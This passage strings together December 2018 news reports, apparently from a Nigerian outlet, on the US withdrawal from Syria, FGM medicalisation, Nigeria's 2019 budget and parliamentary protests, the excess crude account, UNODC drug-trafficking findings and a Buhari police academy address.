role in the strategic efforts being made by the government to enhance the Ease of Doing Business and developing a corporate governance code that meets international standards, which he described as an essential prerequisite for attracting investments into the country. At the meeting was the Permanent Secretary of the ministry, Sunday Akpan, who assured ICAN of the ministrys support in its efforts; the 2nd Deputy Vice-President, ICAN, Comfort Eyitayo; the Registrar/Chief Executive, John Evbodaghe; and other members of the Governing Council of ICAN. The U.S. decision to withdraw from Syria will allow Islamic State to regroup at a critical stage in the conflict, Washingtons Kurdish partners said on Thursday. The U.S.-backed Syrian Democratic Forces (SDF) said President Donald Trumps withdrawal of all U.S. troops would also leave Syrians stuck between the claws of hostile parties fighting for territory in the seven-year-old war. Western allies have also expressed alarm at the sudden move. Trumps announcement on Wednesday upended a central pillar of American policy in the Middle East and stunned U.S. lawmakers and allies, who challenged the presidents claim of victory. The U.S. president defended his decision on Thursday. In a series of tweets, Mr Trump said he was fulfilling a promise from his 2016 presidential campaign to leave the Middle Eastern nation. The United States was doing the work of other countries, including Russia and Iran, with little in return and it was time for others to finally fight, he wrote. The SDF, supported by roughly 2,000 U.S. troops, are in the final stages of a campaign to recapture areas seized by Islamic State militants. But they face the threat of a military incursion by Turkey. Turkey considers the Kurdish YPG fighters who spearhead the force to be a terrorist group, and possible advances by Syrian forces backed by Russia and Iran committed to restoring President Bashar al-Assads control over the whole country. After three years of fighting alongside U.S. forces, the SDF said the battle against Islamic State had reached a decisive phase that required more support, not a precipitate U.S. withdrawal. Western allies including France, Britain and Germany also described Mr Trumps assertion of victory as premature. Officials said France will keep its troops in northern Syria for now because Islamic State militants have not been wiped out and pose a threat to French interests. For now, of course we are staying in Syria because the fight against Islamic State is essential, Europe Minister Nathalie Loiseau said. France has about 1,100 troops in Iraq and Syria providing logistics, training and heavy artillery support as well as fighter jets. In Syria it has dozens of special forces, military advisers and some foreign office personnel. A British junior defense minister said on Wednesday he strongly disagreed with Trump. (Islamic State) has morphed into other forms of extremism and the threat is very much alive, Tobias Ellwood said in a tweet. Islamic State declared a caliphate in 2014 after seizing large swathes of Syria and Iraq. The hardline group established its de facto capital in the Syrian city of Raqqa, using it as a base to plot attacks in Europe. According to U.S. estimates, the group oversaw about 100,000 square kms (39,000 square miles) of territory, with about 8 million people under Islamic State control. It had estimated revenues of nearly $1 billion a year. A senior U.S. official last week said the group was down to its last 1 percent of the territory it once held. It has no remaining territory in Iraq, although militants have resumed insurgent attacks since the groups defeat there last year. Russian President Vladimir Putin said he largely agreed with Trump that Islamic State had been defeated in Syria, but added there was a risk it could regroup. He also questioned what Trumps announcement would mean in practical terms, saying there was no sign yet of a withdrawal of U.S. forces whose presence in Syria Moscow says is illegitimate. Israel will continue to act very aggressively against Irans efforts to entrench in Syria, Israeli Prime Minister Benjamin Netanyahu said. Neighbouring Turkey, which has threatened an imminent military incursion targeting the U.S.-allied Kurdish YPG fighters in northern Syria, has not commented directly on Trumps decision. However, an end to the U.S.-Kurdish partnership will be welcomed in Ankara. Kurdish militants east of the Euphrates in Syria will be buried in their ditches when the time comes, state-owned Anadolu news agency reported Defence Minister Hulusi Akar as saying. Turkey considers the YPG a terrorist group and an extension of the outlawed Kurdistan Workers Party (PKK). Turkey has intervened to sweep YPG and Islamic State fighters from parts of northern Syria that lie west of the Euphrates over the past two years. It has not gone east of the river, partly to avoid direct confrontation with U.S. forces. (Reuters/NAN) U.S. President Donald Trump has said that the U.S. could not continue to be the Policeman of the Middle East, explaining his rationale for the withdrawal of U.S. troops in Syria. Mr Trump, in a series of tweets also said we have defeated ISIS in Syria, my only reason for being there during the Trump Presidency. The U.S. President said: After historic victories against ISIS, its time to bring our great young people home! Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria and others are the local enemy of ISIS. We were doing their work. Time to come home and rebuild. Does the U.S. want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight Russia, Iran, Syria and many others are not happy about the U.S. leaving, despite what the Fake News says. Because now they will have to fight ISIS and others, who they hate, without us. I am building by far the most powerful military in the world. ISIS hits us they are doomed! Mr Trump said the U.S. war against ISIS in the Middle East was stepped up during his administration adding, we have won against ISIS. Weve beaten them and weve beaten them badly. Weve taken back the land and now is the time for our troops to come back home, he said. He regretted the U.S. personnel who were killed in the fight to defeat the terrorists, saying, they were killed fighting for the U.S. and also the whole world. Now weve won, its time to come back, theyre getting ready, youre going to see them soon; these are great American heroes, these are great heroes of the world because they fought for us. But theyve killed ISIS who hurt the world and we are proud to have done it, and Ill tell you, theyre up there looking down on us. And theres nobody happier or more proud than their families who put them in the position where theyve done such good for so many people. So our boys, our young women, are men, theyre all coming back and they are coming back now. We won, and thats the way we want it and thats the way they want it, Mr Trump stressed. (NAN) 13 percent of women about one out of every ten who have been genitally mutilated (Female Genital Mutilation) in Nigeria were cut by medical professionals, Eugene Kongnyuy, Acting Country Representative, UN Population Fund (UNFPA), has said. Despite the increasing campaigns against the barbaric act, many medical professionals have been engaging in the act, thus causing a setback to the eradication process of the practice. This new trend is being referred to as the medicalization of FGM. Female Genital Mutilation (FGM) also known as female circumcision, is the cutting or removal of some or all the external female genitalia. In respect to this harmful trend, health professionals across the sector gathered in Abuja on Wednesday, in an advocacy meeting, on the need to curb the medicalization of Female Genital Mutilation (FGM) in Nigeria. The meeting was organised by the University of Ibadan Center for Reproductive Health, in collaboration with UN Population Fund and Federal Ministry of Health. The theme for the meeting was curbing medicalisation of FGM and sanctions for erring medical personnel in Nigeria. Speaking at the meeting, the minister of health, Isaac Adewole, said the medicalisation of FGM was one of the major bottlenecks of the achievements of the fight to end the negative traditional practice in the country. The minister, represented by Kayode Afolabi, director, Family Health in the ministry, said the medicalisation of FGM is getting rampant because people believe that once the FGM is done by a medical professional, it is acceptable. FGM is being hospitalized, he said. The impression they are giving the people is that once it is done by a nurse, doctors, then it is acceptable. He said it is a big problem that needs to be tackled. He urged stakeholders to commit time and resources to curb the art of FGM from being medicalised. He also challenged all partners to take the message to their various networks to enhance awareness on the issue. Mr Kongnyuy commended the federal Ministry of Health for leading the cause in the fight to eliminate FGM in Nigeria. He said the magnitude of FGM in Nigeria is shocking because Nigeria constitutes at least 10 percent of the burden of FGM globally. UNICEF estimated, in 2016, that 200 million women living today in 30 countries 27 African countries of which Nigeria is one have undergone the procedure. Mr Kongnyuy said out of 200 million women with FGM, Nigeria accounts for 20 million women and 25 percent of women in Nigeria have been genitally mutilated. Out of this, 13 percent of such cases were carried out by medical professionals. He said talking about statistics seems to make it insignificant, but thinking about those behind the statistics makes it very important. These are women who are suffering from short or long-term effects of FGM, who are suffering the physical, physiological and sexual effects of FGM in terms of mutilations who have haemorrhage, they have infertility, they have infections, and they have pains, because of FGM. He expressed shock that most of the mutilations were done by health professionals. Looking at statistics of those behind FGM, I was also shocked to realise that 12.7 percent of FGM is actually done by health professionals in Nigeria. That to me is unacceptable. There is no justification, there is no medical reason and no medical benefit for FGM. We have to look at the impact of what we are doing, that is, the short and long-term effect of FGM on the female population, he added. Oladosu Ojengbede, the director, University of Ibadan Centre for Reproductive Health, outrightly condemned the practice. He said the involvement of medical professionals has made success of eradicating the menace more challenging. This, he said, has also encouraged the traditional practitioners to continue in their trade, believing they are being cheated out of their professions. He also noted that the culture of silence is having a negative effect on sanctioning erring medical personnel who administer FGM. Mr Ojengbede explained that five states, Osun, Oyo, Ekiti, Imo and Ebonyi top the chat on the prevalence of FGM in Nigeria. This is unacceptable. Why cut at all? We need to put a surveillance system in place at the community level and health care level. Prosecution is also difficult as only 11 states have laws banning FGM. The professor of Gynaecology and Obstetrics said the non-domestication of the laws across states of the federation has made it more difficult to sanction erring personnel. He, therefore, advocates for multi-sectoral efforts to end FGM in Nigeria especially in the five states with the high burden of the problem. Five harms of FGM 1. Can lead to excessive bleeding and death of mother during child birth 2. Can cause damage to the womans vagina making her lack sexual sensation during sex 3. High risk of contracting infections 4. Causes menstrual pain as the normal passage for blood flow could have been narrowed 5. Cervical evaluation during labour may be impeded and labour prolonged or obstructed. Muhammadu Buhari, Nigerias president, has proposed a recurrent expenditure of N 315.62 billion for the ministry of health in its 2019 appropriation bill summited to the National Assembly on Wednesday. This is about 46.3 billion increase from last years recurrent expenditure, which was N269.3 billion. Mr Buhari, while reading his budget presentation at the joint session of the National Assembly in Abuja, said the allocation to the ministry represents significant increase over votes in previous budgets. He said this underscores the federal governments commitment to increase investment in national security and human capital development. The president explained that there is a focus on health because it is an important aspiration for human capital development. He said the government will also continue to strive to make Nigerians healthy and happy. In addition to building world class treatment centres, including for cancer, we will be establishing a health system that prioritises primary health care so that millions of our people can be insured for a minimum package of services with the poorest exempt from co-payments. In so doing, we will reduce the stress, strains and costs that the Nigerian people face in accessing decent health care, he added. Mr Buhari also had included in the 2019 fiscal year the 1 per cent Consolidated Revenue Fund (CRF) earmarked for the Basic Health Care Provision Fund (BHCPF). This amounts to N51.22 billion from the nations CRF. This is however, lower than what was obtainable in 2018. The BHCPF in the 2018 appropriate bill was N55 billion. Furthermore, 1 per cent of the Consolidated Revenue Fund amounting to N51.22 billion has been earmarked for the Basic Health Care Provision Fund, and other related commitments, Mr Buhari had explained. Nigerians are still awaiting the release of N55 billion in the 2018 budget. Till date, the BHCPF for the ongoing year is yet to be released, though framework and mechanisms for the disbursement and implementation of the funds are already in place. Civil society organisations in the health sector have decried the late release or non-release of funding for most health interventions in the country. Most times, increased funding does not necessarily translate to efficient service delivery. The performance of the 2019 budget will largely be dependent on how much is released and how timely these releases are made. Speaking on the non-release of the BHCPF fund, Emmanuel Abanida, a health expert, had earlier called on the government to speedily release, at least part of the fund, before the end of the 2018 fiscal year. The Osun State Government is due to receive a $20 million World Bank support funds to help fix its weak health facilities. A statement by the chief press secretary to the governor, Adeniyi Adesina, said on Wednesday that the Minister of Health, Isaac Adewole, gave the hint in Abuja when he played host to the Osun State Governor, Gboyega Oyetola. The statement said the funds are part of the banks Saving One Million Lives (SOML) programme for result initiative. It said SOML programme seeks to give incentives based on achievement of results (health outcomes) and helping to drive institutional processes needed to achieve results, and to facilitate a change in the way health business is conducted by focusing on results and governance. The programme is financed through the $500m International Development Association (IDA) credit to the Federal Government over a period of four years, for distribution to states on the basis of performance. States are assessed based on the implementation of a number of maternal and child healthcare indicators, which determine what is earned, the statement highlighted. Mr Oyetola, in his response, said Osun State would use the money to rehabilitate 332 out of the over 900 Primary Health Centres (PHCs). This will be on the basis of one PHC per ward, so as to bring healthcare to the doorsteps of the people at the grassroots, he said. The governor, who is the chairman of the committee on healthcare, which he constituted immediately after his inauguration, said he took charge of the committee so as to ensure that the 332 PHCs go into full operation within the shortest possible time, adding that a healthy state is a wealthy state. Mr Oyetola said he is also looking forward to the actualisation of the planned upgrading of the Wesley Guild Hospital in Ilesa to a Federal Medical Centre. Saudi Arabia on Thursday announced the creation of three new government bodies aimed at improving the countrys intelligence operations in the wake of the murder of journalist Jamal Khashoggi. Mr Khashoggis murder had sparked international outrage. Crown Prince, Mohammed Salman ordered a restructuring of the intelligence service in October after the authorities, following initial denials, acknowledged that Mr Khashoggi had been killed inside the kingdoms Istanbul consulate by a team of Saudi intelligence and security agents. Saudi officials have said, without providing proof, that the 15-member team was put together by the deputy head of the General Intelligence Presidency, Ahmed al-Asiri, whom the king fired along with royal adviser Saud al-Qahtani. The new government departments for strategy and development, legal affairs, and performance evaluation and internal review are meant to ensure that intelligence operations align with national security policy, international law and human rights treaties, state news agency SPA reported. They were created by a committee headed by Prince Salman, the kingdoms defence minister. He has denied accusations of ordering the hit against Mr Khashoggi, a royal insider who became a critic of the crown prince. Western allies have called on Riyadh to hold those responsible for the murder accountable. The Saudi public prosecutor is seeking the death penalty for five suspects, as the kingdom tries to contain its biggest political crisis for a generation. The U.S. Senate last week blamed Prince Salman for the murder, in a rare rebuke to President Donald Trump, who has said he wants Washington to stand by the 33-year-old de facto leader, notwithstanding a CIA assessment it was likely he ordered the killing. (Reuters/NAN) President Muhammadu Buhari was interrupted and booed intermittently by some lawmakers while addressing the joint session of the National Assembly on Wednesday. The actions of the lawmakers threw the parliament into a rowdy session while the president presented the 2019 Appropriation Bill before the National Assembly. Lawmakers from different political divides booed and cheered the president as he explained the budget details. Mr Buhari eventually proposed a budget of N8.83 trillion for 2019. The proposal showed that about a quarter of the sum (N2.14 trillion) will be used for debt servicing while capital expenditure is expected to gulp N2.03 trillion. But as the president mentioned each of his achievements, some lawmakers, mainly of the opposition Peoples Democratic Party (PDP) chorused, No!. The development forced some All Progressives Congress (APC) lawmakers to clash verbally with their colleagues as they booed the president. When Mr Buhari said, We have weathered the storms and made progress on every front, the opposition lawmakers screamed, Nooooo! When he said, The economy has recovered well, the lawmakers screamed in derision again. The president who was irked by the development was forced to respond to the lawmakers. The world is watching us and we are supposed to be above this, he said calmly. The protesters ignored the president and continued, particularly when Mr Buhari said his administration had succeeded in its anti-corruption campaign. The presidents response was, however, greeted with applause by other lawmakers, mainly from his party, the APC. As soon as the president concluded his speech, the session turned rowdy again. It was then time for principal leaders, Messrs Bukola Saraki and Yakubu Dogara to present their speeches. But while the pro-Buhari lawmakers chanted four more years, those opposed to the president screamed, no more years. After several minutes of drama, the Presidential Guards Brigade band drew the curtain by playing the National Anthem. The ceremony ended abruptly without speeches from the presiding officers of both houses. Security operatives led the president out of the chamber leaving the lawmakers behind. Some of the lawmakers who were seen booing the president include Diri Duoye (Bayelsa, PDP); Johnbull Shekarau (Plateau, PDP); Boma Goodhead (Rivers, PDP); Kingsley Chinda (Rivers, PDP) an Chukwuka Onyema (Anambra, PDP). Why We Protested Lawmaker One of the members who protested against the president, Kingsley Chinda (Rivers, PDP) said one of the main reasons the lawmakers protested was because of the insincerity of the presidency during the implementation of previous budgets. The presidency has not been fair to Nigerians when it comes to budget and most often they use that to blame the legislature. One example is, when it comes to capital releases, you will find out that they have performed very poorly. He said having performed so poorly, the president still talks about how to turn the economy around when they have not released capital expenditures, what magic are they going to do? Today he told Nigerians that they have about N800 billion so far for capital expenditures as against N6.4 trillion, if you calculate that, it will give you about 16 per cent. What it means is that they have achieved just 16 per cent release of capital expenditures. He added that during their oversight, they discovered from some government agencies that only eight per cent of their 2018 budget was released. The economy cannot move with that kind of practice. He frowned at what he described as the executive disobedience to the Constitution which placed some agencies under the first line charge. He also said the protest was not planned. The protest was not planned, it was spontaneous. This morning, people just felt there was a need for it, he said. He said they had the support of their colleagues from the ruling APC. It is not just about PDP lawmakers, some of the APC lawmakers felt that because they belonged to the same political party with the president, it will not be tidy for them to come to the open. They are actually not happy with what is going on in the system, he added. PREMIUM TIMES earlier reported how the APC attributed the rowdiness that characterised the budget presentation to the Peoples Democratic Party (PDP). Controversy trailed Wednesdays revelation by the Federation Accounts Allocation Committee (FAAC) that the excess crude revenue account savings has been depleted to only $631 million within three weeks. Barely three weeks ago, Minister of Finance, Zainab Ahmed, disclosed at the end of the committees meeting in Kaduna on November 25, 2018, that the balance in the account stood at about $2.319 billion. It was not clear how about $1.688 billion, almost 73 per cent, left the account in a space of three weeks. Excess Crude Account is a special account established to warehouse excess revenues from the prevailing crude oil price at the international market. Income generated above the approved crude oil benchmark price in the annual budget is saved in the account. Withdrawal from the account is subject to the approval of the three tiers of government and the Executive Council of the Federation (FEC). It was not clear when the decision to draw from the account was taken and for what purpose. But, at the end of the FAAC meeting for December in Abuja on Wednesday, Permanent Secretary, Federal Ministry of Finance, Mahmoud Isah-Dutse, said the money was withdrawn to settle the last tranche of the Paris Club loan refund to states. Mr Isah-Dutse, who disclosed that a total of N812.762 billion was distributed between the federal, states and local governments for November 2018, announced that the balance in the excess crude account stood at $0.631billion as at December 19, 2018. Asked how the savings in the account was depleted from $2.319billion in late November and to $0.631billion on December 19, Mr Isah-Dutse said the decision was taken that the final payment for Paris Club loan refund to states be drawn from the account. When his attention was drawn to the apparent illegality in drawing money from the ECA without approval, the Permanent Secretary said the approvals came from the President and the FEC. The decision was taken that the refund should be funded from the excess crude account, and the right approvals were obtained, he said. Pressed further for clarification on who exactly gave the approval, the Accountant General of the Federation, Ahmed Idris, asked PREMIUM TIMES to approach the National Assembly to confirm if they were not aware of the approval to withdraw the money from the account. Meanwhile, a communique by the Technical Sub-Committee of the FAAC showed gross statutory revenue stood at about N649.629 billion, which is lower than about N682.161 billion realised in the previous month by N32.533 billion. Details of the total distributable revenue of N812.762 billion comprised the Statutory Revenue of N649.629 billion, Gross Value Added Tax of N92.079billion, foreign exchange equalisation of N70 billion and exchange rate gain of N1.055 billion. From the gross statutory revenue, the federal government received N280.913 billion, representing 52.68 per cent; states N142.483 billion, or 26.72 per cent; and local government councils N109.848 billion, or 20.60 per cent. About N47.882 billion went to the oil producing states as 13 per cent derivation revenue. The distribution of the Value Added Tax (VAT) showed the federal government got N13.259 billion, or 15 per cent; states N44.198 billion, or 50 per cent, while the local government councils got N30.938 billion, or 35 per cent. The communique said revenue from company income tax (CIT) increased significantly during the month, while revenues from Value Added Tax (VAT), Import Duty, Petroleum Profit Tax (PPT) and Foreign Oil and Gas, Domestic Oil and Gas Royalties all decreased. The United Nations Office on Drugs and Crime (UNODC) says Nigeria, and West and Central Africa face disruptive and destabilising new trends regarding drug trafficking, drug use and other crimes. The Executive Director of UNODC, Yury Fedotov, said this while briefing the UN Security Council session, presided by Cote dIvoire. The briefing was the councils first thematic meeting on Drug Trafficking and its Threat to Stability, Peace and Security, since December 2013. Mr Fedotov said the UNODCs 2018 World Drug Report shows that West and Central Africa, along with North African countries, accounted for 87 per cent of pharmaceutical opioids seized globally. The UNODC chief said: This is largely due to rising use of tramadol, an opioid painkiller that is widely trafficked for non-medical use in the region. Africa, along with Asia, also saw the largest rises in cocaine seizures, suggesting that cocaine trafficking and consumption have spread to these markets. Through UNODC AIRCOP, which works in several African airports, we know that heroin seizures are on the rise across the region with Lagos, Accra and Cotonou airports high on the list, closely followed by Bamako, Lome and Ouagadougou. Methamphetamine seizures have now almost reached the same level as cocaine seizures, with Lagos and Cotonou being the main airports concerned. Recently, an increased number of seizures of precursors such as Ephedrine and Phenacetine has been recorded at both airports, which may indicate the existence of new laboratories producing psychoactive substances. The head of UNODC noted increasing transiting of opiates through West Africa en route to European and North American markets. UNODC is registering new alarming trends on drug trafficking in West and Central Africa with disruptive and destabilising effects on governance, security, economic growth and public health, he said. Drug use is also rising across the region, representing a serious threat to public health, according to the UN crime fighting chief. Mr Fedotov noted that the agency estimated that in 2016, there were more than 34 million cannabis users and 1.8 million cocaine users in West and Central Africa. Only one in 18 drug users with addiction issues have access to medical treatment, Mr Fedotov regretted. At the same time, he said, the region is grappling with many other crime-related security threats, including arms trafficking, money laundering, human trafficking, cybercrime and maritime piracy as well as threats posed by terrorism. Mr Fedotov noted that there were strong linkages between illicit trafficking and the financing of armed groups, a fact that the Security Council had recognised before, including in previous presidential statements. In August 2018, the Security Council expressed serious concerns about continuing terrorist activities of Boko Haram and other groups in the Lake Chad Basin. Links between illicit trafficking in wildlife and natural resources and financing of armed groups; maritime insecurity in the Gulf of Guinea; and mercenary activities linked to transnational organised crime, including trafficking in persons, arms and drugs as well as the smuggling of migrants. He stressed the need for urgent and determined international action to support and address the threat of drugs and help pave the way for a safer, healthier and more prosperous West and Central Africa. (NAN) The Senate has reviewed and approved N22.2 billion (22,254,062,330.08) as a refund to Taraba State for projects executed on behalf of the federal government. The lawmakers had initially approved N34.3 billion for Taraba on December 5. The new approval comes barely 48 hours after President Muhammadu Buhari accused the National Assembly of inflating debts to be repaid by the federal government to deserving states. Mr Buharis letter, whose content has not been officially denied by the Senate, also showed that the December 5 approval for Taraba was not reflected in the approvals sent to the president for assent and implementation. The president said the National Assembly did not approve any reimbursement for four states; Bauchi, Delta, Kogi and Taraba despite that the Federal Executive Council had approved reimbursement for them in the details sent to the lawmakers. In his letter, Mr Buhari asked the National Assembly to review the amount it approved as debt repayment to the states. The debt repayment in promissory notes is for projects executed on behalf of the federal government by various state governments. A promissory note is a debt instrument which one party promises in writing to pay a determinate sum of money to the other, either at a fixed or determinable future time, under specific terms. In a motion sponsored by Francis Alimekhena (APC, Edo North), he explained that the increase which led to the initial approval of N34.3 billion, was as a result of additional road projects executed by the Taraba State Government on behalf of the federal government submitted to the Senate committee which was not captured in their submission to the House of Representatives. Taraba State was among the states that benefited from the approved payment of outstanding bills of 34,315,232,396.96. The increase was as a result of additional road projects executed by the Taraba State government on behalf of the federal government submitted to the Senate committee which was not captured in their submission to the House, he said. He thereafter, asked that the Senate resolves to rescind its earlier resolution of the payment of outstanding bills of N34,315,325,396.96 to the Taraba State Government and to approve the sum of N22,254,062,330.08. The resolution was unanimously adopted. No lawmaker contributed to the motion neither did anyone make reference to the presidents letter. A former Kano State Deputy Governor, Hafizu Abubakar, has returned to the ruling All Progressives Congress (APC). Mr Abubakar, a former staunch ally of the ex-Kano State governor, Rabiu Kwankwaso, left the ruling party in August and resigned his position as deputy to the current governor, Abdullahi Ganduje. After leaving the APC, he joined Mr Kwankwaso in the Peoples Democratic Party. He, however, later defected to the Peoples Redemption Party (PRP) when he could not get the PDP governorship ticket in Kano. Mr Abubakars return to the APC was confirmed by his spokesperson and the presidency. Garba Shehu, the spokesperson to President Muhammadu Buhari, said the president had a meeting with Mr Abubakar and other former Kwankwaso loyalists in Kano. Mr Shehu, in a statement sent to PREMIUM TIMES, said the meeting held on Wednesday night in Abuja. He said the president appealed to stakeholders in the APC all over the country to work for genuine reconciliation for the benefit of our people and our nation. In welcoming the party leaders back to the APC, Mr Buhari said the house was large enough to accommodate everyone and promised to speak to the leadership of the party and government in Kano to accommodate and work with the returnees. In addition to Professor Hafiz, a staunch ally of Sen. Rabiu Kwankwaso who resigned as Governor Abdullahi Gandujes Deputy, the other returnees include a former Managing Director of the Nigerian Ports Authority, Architect Aminu Dabo; the immediate past National Treasurer, Bala Mohammed Gwagwarwa; Security Adviser to Kwankwaso, General Danjuma Dambazau (rtd); Engineer Muazu Magaji, all of them staunch members of the Kwankwasiyya as well as Senator Isa Zarewa who left in protest against the last primaries. They were led to the President by the Governor of Jigawa State, Abubakar Badaru, Mr Shehu said. Responding to the presidential directive, Governor Ganduje reportedly welcomed the return of the party stalwarts and assured the president that he was ready to work with everyone to record yet another historic victory in the general elections. The media aide to Mr Abubakar, Abdulwahab Said, provided more details of the meeting to PREMIUM TIMES on Thursday. President Muhammad Buhari sent a private jet to Kano yesterday night (Wednesday) to convey Professor Hafiz Abubakar, Former National treasurer of APC Bala Gwagwarwa, former Managing Director Nigeria Ports Authority Aminu Dabo, and former Senior Special Assistant to President Jonathan on SURE-P Engineer Muazu Magaji Dan Sarauniya to Presidential Villa for a private meeting. The president has appreciated their contribution towards his election in 2015 and pleaded to them to return to APC and work toward his re-election in 2019, Mr Said. He said Mr Buhari will formally accept all the returnees at a rally in Kano soon. On whether Mr Abubakar will work with Governor Ganduje again, the media aide said the goal is to ensure the success of APC at all levels in the state. Mr Abubakar resigned as deputy governor in August and two days later decamped to the PDP along with 10 former aides to Governor Ganduje. Mr Abubakar told his supporters then that he resigned his position because Mr Gandujes administration had deviated from the ideology, policies and manifesto of Kwankwasiyya, the name of the political group led by Mr Kwankwaso. Two months later, the former deputy governor abandoned the PDP for the PRP. Mr Abubakar who failed to secure the PDP governorship ticket told his supporters that he left the party due to injustice meted on his supporters. He said the PDP failed to grant his only request that one slot in the Kano State House of Assembly should be given to one of his loyalists. The former deputy governor has been complaining about the nomination of Salihu Takai as the PRP governorship candidate in Kano, a factor that may have informed his decision to leave the party. Kano State, the most populous in Northern Nigeria, is also the state where President Buhari had the largest number of votes in the 2015 election. Then Mr Kwankwaso was the governor and worked for the presidents success. The governor of Kogi State, Yahaya Bello, has described lawmakers who booed the president, Muhammadu Buhari, while he presented the 2019 budget on Wednesday as children who are not well trained by their parents. Mr Bello spoke Wednesday night during a chat with State House correspondents at the end of a Gala night organised by beneficiaries of the federal governments Anchor Borrowers Scheme at the Banquet hall of the presidential villa in Abuja. Mr Buhari was interrupted and booed intermittently with chants of Lies! Propaganda! Freedom come by struggle, by struggle! by some of the lawmakers as he made his presentation. The lawmakers intensified the boos when the president was reading out the achievements of his administration, forcing Mr Buhari to pause his speech and address them saying, May I appeal to the honourable members that the world is watching us were supposed to be above this. Mr Bello, a staunch supporter of the president, commended Mr Buhari for remaining calm in the face of such provocation. He said Mr Buhari exhibited the character of a father and a gentleman who has the interest of the country at heart. He chided the lawmakers for showing themselves as selfish, self-centred and bent on destroying this country and democracy. Like I said sometimes back that when you have a child that is not well trained by his parents, he will constitute a menace to the society. And that is what we witnessed today at the National Assembly. National Assemblies are supposed to be made of men and women of character and integrity. Weve seen those who constitute such class of human being today and those that constitute menace to the society in the National Assembly today. But above all, I thank God and thank Mr President for a wonderful presentation of 2019 Budget estimates and which we all believe will take Nigeria to the next level by the grace of God, the Kogi State governor said. Governor Seriake Dickson of Bayelsa State, one of the staunchest advocates of restructuring Nigeria, will be the keynote speaker at the public presentation of the book, We Are All Biafrans, written by journalist and rights activist, Chido Onumah, on Friday, December 21, at YarAdua Centre, Abuja. Mr Dickson will be joined by notable public intellectuals, Hussaini Abdu, Country Director, PLAN International;. Sam Amadi of the Faculty of Law, Baze University, Idayat Hassan, Executive Director, Centre for Democracy and Development, and Isaac Osuoka, Executive Director, Social Action, to discuss Federalism, Restructuring, and Nation-building. The discussion will be moderated by Patrick O. Okigbo III, Founder/Principal Partner, Nextier. We Are All Biafrans is a collection of essays focusing on issues of good governance, democracy, federalism and nation-building. Published by Premium Times Books, the book draws on the debate two years ago by public intellectuals on federalism and the politics of national identity in Nigeria. I think the greatest challenge facing Nigeria today is how to build a united and equitable nation, said Chido Onumah who has written extensively on democracy and national integration in Nigeria. We cant develop as a nation if we dont address the issues of unity and equity. The launch of We Are All Nigerians is an opportunity to rekindle the debate about the future of Nigeria. The Senate has called on the federal government to investigate the circumstances surrounding the assassination of former Chief of Defence Staff, Alex Badeh. Mr Badeh, a former Air Chief Marshal, was shot dead Tuesday by unknown persons he returned from his farm along the Keffi-Jos Road, near Abuja. Details of the attack are still scanty. Police on Wednesday said they were going after the assailants. President Muhammadu Buhari has ordered an investigation into the killing. On Thursday, the Senate urged the security agencies to also search and rescue Mr Badehs personal staff who was abducted by his killers. Mr Badeh was the defence chief during the tenure of President Goodluck Jonathan. He was standing trial for allegedly mismanaging security funds when he died. The striking Academic Staff Union of Polytechnics (ASUP) has said it would meet with the Federal Governments negotiation team on January 10 to continue discussions aimed at resolving the ongoing crisis. The national president of (ASUP), Usman Dutse, disclosed this in a phone interview with PREMIUM TIMES Thursday evening. Mr Dutse said the meeting is important because the last meeting held on Monday was inconclusive. He said the union would continue with its strike until they are satisfied with the offer from the government. The official said the report presented by the government during the last meeting was not acceptable to the union. We are meeting with the federal government representatives on January 10, to continue with our discussion, he said. He urged the federal government to pay more attention to polytechnic education and prioritise the sector in the new year. He said the sector has been underfunded and neglected for too long. The polytechnic teachers began an indefinite strike on December 12, over non-implementation several agreements by the federal government. The demands of the striking union include the implementation of NEEDS assessment report, payment of CONTISS 15 arrears, implementation of the scheme of service, non-payment of salaries in state-owned institutions, and victimisation of members, among others. Presently, universities teachers are also on strike since November 4 and this has crippled academic activities across Nigerian polytechnics and universities. At the last meeting between the federal government officials and the university lecturers on Monday, the latter staged a walk-out when negotiations broke down. President Muhammadu Buhari Thursday in Wudil, Kano State, warned the police to desist from acts which tend to bring the community in conflict with them. The president said unprofessional conducts such as illegal detentions, extrajudicial killings, torture and violation of fundamental human rights were unacceptable and must be avoided by the Nigeria Police Force at all times. President Buhari gave the directive in his address at the convocation and passing out parade of the First Regular Cadet Course at the Police Academy, Wudil, Kano State. We must abide by the constitutional code of conduct in policing our people. The Police in its efforts to fight crime must work in partnership with the community. You cannot properly police the people without their consent, he told the 602 graduands. President Buhari also used the occasion to remind police officers to shun corruption and resist all temptations that impede the integrity and professionalism of the Force. It is appropriate to warn you as Police Officers not to see yourselves as being above the Law. You must be above board and resist all temptations. Be contented with your salaries and allowances. The Government recently increased your general emoluments to make you more efficient and effective in the discharge of your duties. With this increase in your salaries, you have less reason to fall into temptations of financial or other inducements. Let me again reiterate that this administration has zero tolerance for corruption. Corruption is the major reason why the Nigerian economy has not developed at the rate of other comparable countries. If we must develop and reap the fruits of our democratic dispensation we must shun corruption at all levels. It is, therefore, your responsibilities and other anti-corruption agencies to kill corruption before Corruption overtakes Nigeria, he said. While commending the police for the successes it has recorded in the fight against various aspects of crime in the country, the president acknowledged that they had worked closely with the military in the fight against Boko Haram in the North East. I am aware that you have just deployed over 2000 Police Officers including Special Forces to the North East to support the efforts of the Military. The success recorded in the fight against Boko Haram in the North East cannot be related without mentioning the support you are giving to the Military. The group is no longer occupying any Nigerian Territory as it used to before the advent of this administration. The recent attacks by the Boko Haram group can be likened to attempts of defeated insurgents to re-organise its ragtag and scattered individuals. This, however, will not be possible as adequate strategic plans have been put in place in conjunction with our neighbouring countries to completely wipe out the group, he said. On the 2019 elections, President Buhari reiterated that it is the duty of the police, supported by other security agencies to adequately secure the elections. You must do everything possible to make the election violence free to avoid ballot box snatching, multiple voting, vote buying on sites, attack on electoral officers and other acts which might negatively impact on the elections and their outcome, the president said at the event attended by Governor Abdullahi Ganduje of Kano State, Mohammed Badaru Abubakar of Jigawa State, the Inspector-General of Police, Ibrahim Idris and other senior police officers. The elections must be conducted in a violence free environment for it to be adjudged credible, free and fair in the eyes of both local and international observers, he said. The president pledged that his administration will continue to do all that is possible to make the Nigeria Police efficient and responsive to the security needs of the country by providing the necessary assistance to make its operations technology based. While congratulating the graduands on successfully completing the five years training programme in the institution, President Buhari enjoined the new officers to be courageous, brave and determined in the fight against all forms of crime in the country. The president noted that he was happy to be the first serving president to witness the passing out parade of the first batch 